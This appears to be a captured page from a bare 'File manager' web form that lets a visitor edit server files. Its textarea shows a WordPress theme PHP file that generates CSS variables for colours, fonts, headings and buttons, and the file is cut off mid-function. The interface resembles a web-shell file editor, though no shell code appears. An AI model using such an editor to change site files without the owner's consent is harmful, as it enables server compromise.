File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

// Add styles to frontend
add_action(&#039;wp_head&#039;, &#039;tmpcoder_wp_head_theme_variable&#039;, 1);

// Add styles to Gutenberg editor
add_action(&#039;enqueue_block_editor_assets&#039;, &#039;tmpcoder_wp_head_theme_variable&#039;, 1);

function tmpcoder_wp_head_theme_variable(){
    
    if ( class_exists( &#039;Tmpcoder_Site_Settings&#039; ) ){        
        $redux_data = Tmpcoder_Site_Settings::tmpcoder_get_all_data();

        $redux_data = apply_filters(&#039;tmpcoder_redux_options_theme_variable&#039;, $redux_data);

        $css = tmpcoder_redux_options_update_theme_variable($redux_data, &#039;&#039;, &#039;&#039;);
        // Decode HTML entities
        $decoded_css = html_entity_decode($css, ENT_QUOTES, &#039;UTF-8&#039;);
        // Escape the CSS before adding it inline
        $escaped_css = wp_strip_all_tags($decoded_css);
        wp_register_style(&#039;tmpcoder-theme-variable&#039;, false);
        wp_enqueue_style(&#039;tmpcoder-theme-variable&#039;);
        wp_add_inline_style(&#039;tmpcoder-theme-variable&#039;, $escaped_css);
    }
}

if ( ! function_exists(&#039;tmpcoder_redux_options_update_theme_variable&#039;) ){

    function tmpcoder_redux_options_update_theme_variable($options, $css, $changed_values){        
        $css = $css != &quot;&quot; ? $css : &#039;&#039;;

        // Apply Variables to Both Frontend &amp; Block Editor (.editor-styles-wrapper is for block editor)
        $css .= &quot;:root, .editor-styles-wrapper {\n&quot;;

        // Container Width Variable Declare
        if ( isset($options[&#039;container_width&#039;]) &amp;&amp; $options[&#039;container_width&#039;] != &quot;&quot; ){
            $css .= &quot;--tmpcoder-container-width:&quot;. esc_html($options[&#039;container_width&#039;]).&quot;px;\n&quot;;
        }else{
            $css .= &quot;--tmpcoder-container-width: 1200px;\n&quot;;
        }

        if ( isset($options[&#039;container_width_tablet&#039;]) &amp;&amp; $options[&#039;container_width_tablet&#039;] != &quot;&quot; ){
            $css .= &quot;--tmpcoder-tablet-container-width:&quot;. esc_html($options[&#039;container_width_tablet&#039;]).&quot;px;\n&quot;;
        }else{
            $css .= &quot;--tmpcoder-tablet-container-width: 1024px;\n&quot;;
        }

        if ( isset($options[&#039;container_width_mobile&#039;]) &amp;&amp; $options[&#039;container_width_mobile&#039;] != &quot;&quot; ){
            $css .= &quot;--tmpcoder-mobile-container-width:&quot;. esc_html($options[&#039;container_width_mobile&#039;]).&quot;px;\n&quot;;
        }else{
            $css .= &quot;--tmpcoder-mobile-container-width: 767px;\n&quot;;
        }


        // Primary Color Variable Declare
        if ( isset($options[&#039;primany_color&#039;]) &amp;&amp; $options[&#039;primany_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-primary-color:&quot;. esc_html($options[&#039;primany_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-primary-color: #5729d9;\n&quot;;
        }
        
        // Secondary Color Variable Declare
        if ( isset($options[&#039;secondary_color&#039;]) &amp;&amp; $options[&#039;secondary_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-secondary-color:&quot;. esc_html($options[&#039;secondary_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-secondary-color: #010101;\n&quot;;
        }

        // Accent Color Variable Declare
        if ( isset($options[&#039;accent_color&#039;]) &amp;&amp; $options[&#039;accent_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-accent-color:&quot;. esc_html($options[&#039;accent_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-accent-color: #b2b1b1;\n&quot;;
        }
        
        if ( isset($options[&#039;site_background_color&#039;]) &amp;&amp; $options[&#039;site_background_color&#039;] != &quot;&quot; ){
            if( isset($options[&#039;site_background_color&#039;][&#039;background-color&#039;] ) ) {
                $css .= &quot;--theme-background-color:&quot;. esc_html($options[&#039;site_background_color&#039;][&#039;background-color&#039;]).&quot;;\n&quot;;    
            } elseif ( isset($options[&#039;site_background_color&#039;] ) ) {
                $css .= &quot;--theme-background-color:&quot;. esc_html($options[&#039;site_background_color&#039;]).&quot;;\n&quot;;
            } else {
                $css .= &quot;--theme-background-color: #ffffff;\n&quot;;
            }
        }
        else{
            $css .= &quot;--theme-background-color: #ffffff;\n&quot;;
        }  
        
        // Button Variable Declare
        if ( isset($options[&#039;site_button_color&#039;]) &amp;&amp; $options[&#039;site_button_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-button-background:&quot;. esc_html($options[&#039;site_button_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-button-background: #5729d9;\n&quot;;
        }

        if ( isset($options[&#039;site_button_color_hover&#039;]) &amp;&amp; $options[&#039;site_button_color_hover&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-button-background-hover:&quot;. esc_html($options[&#039;site_button_color_hover&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-button-background-hover: #ffffff;\n&quot;;
        }

        // Link Color Variable Declare
        if ( isset($options[&#039;link_color&#039;]) &amp;&amp; $options[&#039;link_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-link-color:&quot;. esc_html($options[&#039;link_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-link-color: #5729d9;\n&quot;;
        }

        // Link Hover Color Variable Declare
        if ( isset($options[&#039;link_hover_color&#039;]) &amp;&amp; $options[&#039;link_hover_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-link-hover-color:&quot;. esc_html($options[&#039;link_hover_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-link-hover-color: #1d2327;\n&quot;;
        }

        // Global Border Color Variable Declare
        if ( isset($options[&#039;global_border_color&#039;]) &amp;&amp; $options[&#039;global_border_color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-global-border-color:&quot;. esc_html($options[&#039;global_border_color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-global-border-color: #E6E8EA;\n&quot;;
        }

        // Theme Color 1
        if ( isset($options[&#039;theme_color_1&#039;]) &amp;&amp; $options[&#039;theme_color_1&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-global-color-1:&quot;. esc_html($options[&#039;theme_color_1&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-global-color-1: #010101;\n&quot;;
        }

        // Theme Color 2
        if ( isset($options[&#039;theme_color_2&#039;]) &amp;&amp; $options[&#039;theme_color_2&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-global-color-2:&quot;. esc_html($options[&#039;theme_color_2&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-global-color-2: #f4f2f9;\n&quot;;
        }

        // Theme Color 3
        if ( isset($options[&#039;theme_color_3&#039;]) &amp;&amp; $options[&#039;theme_color_3&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-global-color-3:&quot;. esc_html($options[&#039;theme_color_3&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-global-color-3: #ffffff;\n&quot;;
        }

        // Theme Color 4
        if ( isset($options[&#039;theme_color_4&#039;][&#039;rgba&#039;]) &amp;&amp; $options[&#039;theme_color_4&#039;][&#039;rgba&#039;] != &#039;&#039;){
            $css .= &quot;--theme-global-color-4:&quot;. esc_html($options[&#039;theme_color_4&#039;][&#039;rgba&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-global-color-4: #ffffff;\n&quot;;
        }

        // Site Variable Declare
        if ( isset($options[&#039;site_fonts_options&#039;][&#039;font-family&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;font-family&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-font-family:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;font-family&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-font-family: \&quot;Poppins\&quot;, Sans-serif;\n&quot;;
        }
        
        if ( isset($options[&#039;site_fonts_options&#039;][&#039;font-weight&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;font-weight&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-font-weight:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;font-weight&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-font-weight: 400;\n&quot;;
        }
        
        /* Theme font style for desktop start */

        if ( isset($options[&#039;site_fonts_options&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-font-size:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-font-size: 14px;\n&quot;;
        }
        
        if ( isset($options[&#039;site_fonts_options&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-line-height:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-line-height: 1.55;\n&quot;;
        }

        if ( isset($options[&#039;site_fonts_options&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-letter-spacing:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-letter-spacing: normal;\n&quot;;
        }

        /* Theme font style for desktop end */

        /* Theme font style for tablet start */

        if ( isset($options[&#039;site_fonts_options_tablet&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;site_fonts_options_tablet&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-font-size-tablet:&quot;. esc_html($options[&#039;site_fonts_options_tablet&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-font-size-tablet: 14px;\n&quot;;
        }
        
        if ( isset($options[&#039;site_fonts_options_tablet&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;site_fonts_options_tablet&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-line-height-tablet:&quot;. esc_html($options[&#039;site_fonts_options_tablet&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-line-height-tablet: 24px;\n&quot;;
        }

        if ( isset($options[&#039;site_fonts_options_tablet&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;site_fonts_options_tablet&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-letter-spacing-tablet:&quot;. esc_html($options[&#039;site_fonts_options_tablet&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-letter-spacing-tablet: normal;\n&quot;;
        }

        /* Theme font style for tablet end */

        /* Theme font style for mobile start */

        if ( isset($options[&#039;site_fonts_options_mobile&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;site_fonts_options_mobile&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-font-size-mobile:&quot;. esc_html($options[&#039;site_fonts_options_mobile&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-font-size-mobile: 14px;\n&quot;;
        }
        
        if ( isset($options[&#039;site_fonts_options_mobile&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;site_fonts_options_mobile&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-line-height-mobile:&quot;. esc_html($options[&#039;site_fonts_options_mobile&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-line-height-mobile: 24px;\n&quot;;
        }

        if ( isset($options[&#039;site_fonts_options_mobile&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;site_fonts_options_mobile&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-letter-spacing-mobile:&quot;. esc_html($options[&#039;site_fonts_options_mobile&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-letter-spacing-mobile: normal;\n&quot;;
        }

        /* Theme font style for mobile end */

        if ( isset($options[&#039;site_fonts_options&#039;][&#039;color&#039;]) &amp;&amp; $options[&#039;site_fonts_options&#039;][&#039;color&#039;] != &quot;&quot; ){
            $css .= &quot;--theme-text-color:&quot;. esc_html($options[&#039;site_fonts_options&#039;][&#039;color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--theme-text-color: #727272;\n&quot;;
        }

        // Heading Variable Declare for desktop

        for ($i=1; $i &lt;= 6; $i++) { 
            if ( isset($options[&#039;heading_&#039;.$i][&#039;font-family&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;font-family&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-family:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-family&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-font-family: \&quot;Poppins\&quot;, Sans-serif;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;font-options&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;font-options&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-options:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-options&#039;]).&quot;;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;font-backup&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;font-backup&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-backup:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-backup&#039;]).&quot;;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;font-weight&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;font-weight&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-weight:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-weight&#039;]).&quot;;\n&quot;;
            }else{
                if ( $i == 1 || $i == 2){
                    $css .= &quot;--heading&quot;.$i.&quot;-font-weight: 600;\n&quot;;
                }elseif ($i == 3) {
                    $css .= &quot;--heading&quot;.$i.&quot;-font-weight: 500;\n&quot;;
                }else{
                    $css .= &quot;--heading&quot;.$i.&quot;-font-weight: 400;\n&quot;;
                }
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;text-align&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;text-align&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-style:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-style&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-font-style: normal;\n&quot;;
            }

            if ( isset($options[&#039;heading_&#039;.$i][&#039;subsets&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;subsets&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-subsets:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;subsets&#039;]).&quot;;\n&quot;;
            }       
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;text-align&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;text-align&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-text-align:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;text-align&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-text-align: initial;\n&quot;;
            }

            if ( isset($options[&#039;heading_&#039;.$i][&#039;text-transform&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;text-transform&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-text-transform:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;text-transform&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-text-transform: initial;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;font-size&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;font-size&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-size:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;font-size&#039;]).&quot;;\n&quot;;
            }else{
                // $css .= &quot;--heading&quot;.$i.&quot;-font-size:&quot;. (48 -( $i * 6)) .&quot;px;\n&quot;;
                if ( $i == 1){
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 32px;\n&quot;;
                }elseif ($i == 2) {
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 26px;\n&quot;;
                }elseif ($i == 3) {
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 20px;\n&quot;;
                }elseif ($i == 4) {
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 17px;\n&quot;;
                }elseif ($i == 5) {
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 15px;\n&quot;;
                }else{
                    $css .= &quot;--heading&quot;.$i.&quot;-font-size: 13px;\n&quot;;
                }
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;line-height&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;line-height&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-line-height:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;line-height&#039;]).&quot;;\n&quot;;
            }else{
                //$css .= &quot;--heading&quot;.$i.&quot;-line-height:&quot;. (48 -( $i * 6)) .&quot;px;\n&quot;;
                // $css .= &quot;--heading&quot;.$i.&quot;-line-height: 1.2;\n&quot;;
                if ( $i == 1){
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 48px;\n&quot;;
                }elseif ($i == 2) {
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 30px;\n&quot;;
                }elseif ($i == 3) {
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 24px;\n&quot;;
                }elseif ($i == 4) {
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 22px;\n&quot;;
                }elseif ($i == 5) {
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 20px;\n&quot;;
                }else{
                    $css .= &quot;--heading&quot;.$i.&quot;-line-height: 16px;\n&quot;;
                }
            }

            if ( isset($options[&#039;heading_&#039;.$i][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;letter-spacing&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing:normal;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i][&#039;color&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i][&#039;color&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-text-color:&quot;. esc_html($options[&#039;heading_&#039;.$i][&#039;color&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-text-color: #1d2327;\n&quot;;
            }
            
        }

        /* Heading Variable Declare for tablet */

        for ($i=1; $i &lt;= 6; $i++) { 
            
            if ( isset($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;font-size&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-size-tablet:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-font-size-tablet:&quot;. (40 -( $i * 4)) .&quot;px;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;line-height&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-line-height-tablet:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
            }else{
                // $css .= &quot;--heading&quot;.$i.&quot;-line-height-tablet:&quot;. (40 -( $i * 4)) .&quot;px;\n&quot;;
                $css .= &quot;--heading&quot;.$i.&quot;-line-height-tablet: 1.2;\n&quot;;
            }

            if ( isset($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing-tablet:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_tablet&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing-tablet:normal;\n&quot;;
            }
        }

        /* Heading Variable Declare for mobile */

        for ($i=1; $i &lt;= 6; $i++) { 
            
            if ( isset($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;font-size&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-font-size-mobile:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-font-size-mobile:&quot;. (28 -( $i * 3)) .&quot;px;\n&quot;;
            }
            
            if ( isset($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;line-height&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-line-height-mobile:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
            }else{
                // $css .= &quot;--heading&quot;.$i.&quot;-line-height-mobile:&quot;. (28 -( $i * 3)) .&quot;px;\n&quot;;
                $css .= &quot;--heading&quot;.$i.&quot;-line-height-mobile: 1.2;\n&quot;;
            }

            if ( isset($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing-mobile:&quot;. esc_html($options[&#039;heading_&#039;.$i.&#039;_mobile&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
            }else{
                $css .= &quot;--heading&quot;.$i.&quot;-letter-spacing-mobile:normal;\n&quot;;
            }
        }

        // Theme Button Variable Declare For Desktop
        if ( isset($options[&#039;button_style&#039;][&#039;font-family&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;font-family&#039;] != &quot;&quot; ){
            $css .= &quot;--button-font-family:&quot;. esc_html($options[&#039;button_style&#039;][&#039;font-family&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-font-family: \&quot;Poppins\&quot;, Sans-serif;\n&quot;;
        }
        // $options[&#039;button_style&#039;][&#039;font-options&#039;]
        // $options[&#039;button_style&#039;][&#039;google&#039;];
        
        if ( isset($options[&#039;button_style&#039;][&#039;font-weight&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;font-weight&#039;] != &quot;&quot; ){
            $css .= &quot;--button-font-weight:&quot;. esc_html($options[&#039;button_style&#039;][&#039;font-weight&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-font-weight: 400;\n&quot;;
        }

        if ( isset($options[&#039;button_style&#039;][&#039;text-align&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;text-align&#039;] != &quot;&quot; ){
            $css .= &quot;--button-text-align:&quot;. esc_html($options[&#039;button_style&#039;][&#039;text-align&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-text-align: initial;\n&quot;;
        }
        
        if ( isset($options[&#039;button_style&#039;][&#039;text-transform&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;text-transform&#039;] != &quot;&quot; ){
            $css .= &quot;--button-text-transform:&quot;. esc_html($options[&#039;button_style&#039;][&#039;text-transform&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-text-transform: initial;\n&quot;;
        }

        if ( isset($options[&#039;button_style&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--button-font-size:&quot;. esc_html($options[&#039;button_style&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-font-size: 16px;\n&quot;;
        }
        
        if ( isset($options[&#039;button_style&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--button-line-height:&quot;. esc_html($options[&#039;button_style&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-line-height: 24px;\n&quot;;
        }

        if ( isset($options[&#039;button_style&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--button-letter-spacing:&quot;. esc_html($options[&#039;button_style&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-letter-spacing:normal;\n&quot;;
        }

        if ( isset($options[&#039;button_style&#039;][&#039;color&#039;]) &amp;&amp; $options[&#039;button_style&#039;][&#039;color&#039;] != &quot;&quot; ){
            $css .= &quot;--button-text-color:&quot;. esc_html($options[&#039;button_style&#039;][&#039;color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-text-color: #ffffff;\n&quot;;
        }

        if ( isset($options[&#039;site_button_text_hover&#039;]) &amp;&amp; $options[&#039;site_button_text_hover&#039;] != &quot;&quot; ){
            $css .= &quot;--button-text-hover-color:&quot;. esc_html($options[&#039;site_button_text_hover&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-text-hover-color: #5729d9;\n&quot;;
        }

        if ( isset($options[&#039;button_border_radius&#039;]) &amp;&amp; $options[&#039;button_border_radius&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-radius:&quot;. esc_html($options[&#039;button_border_radius&#039;].&quot;px&quot;).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-radius: none;\n&quot;;
        }

        if ( isset($options[&#039;button_padding&#039;][&#039;border-top&#039;]) &amp;&amp; $options[&#039;button_padding&#039;][&#039;border-top&#039;] != &quot;&quot; ){
            $css .= &quot;--button-padding-top:&quot;. esc_html($options[&#039;button_padding&#039;][&#039;border-top&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-padding-top: 10px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding&#039;][&#039;border-right&#039;]) &amp;&amp; $options[&#039;button_padding&#039;][&#039;border-right&#039;] != &quot;&quot; ){
            $css .= &quot;--button-padding-right:&quot;. esc_html($options[&#039;button_padding&#039;][&#039;border-right&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-padding-right: 15px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding&#039;][&#039;border-bottom&#039;]) &amp;&amp; $options[&#039;button_padding&#039;][&#039;border-bottom&#039;] != &quot;&quot; ){
            $css .= &quot;--button-padding-bottom:&quot;. esc_html($options[&#039;button_padding&#039;][&#039;border-bottom&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-padding-bottom: 10px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding&#039;][&#039;border-left&#039;]) &amp;&amp; $options[&#039;button_padding&#039;][&#039;border-left&#039;] != &quot;&quot; ){
            $css .= &quot;--button-padding-left:&quot;. esc_html($options[&#039;button_padding&#039;][&#039;border-left&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-padding-left: 15px;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-color&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-color&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-color:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-color: #5729d9;\n&quot;;
        }

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-color&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-color&#039;] != &quot;&quot; ){

            $css .= &quot;--button-border-hover-color:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-color&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-color: #5729d9;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-style&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-style&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-type:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-style&#039;]).&quot;;\n&quot;;
        }else{
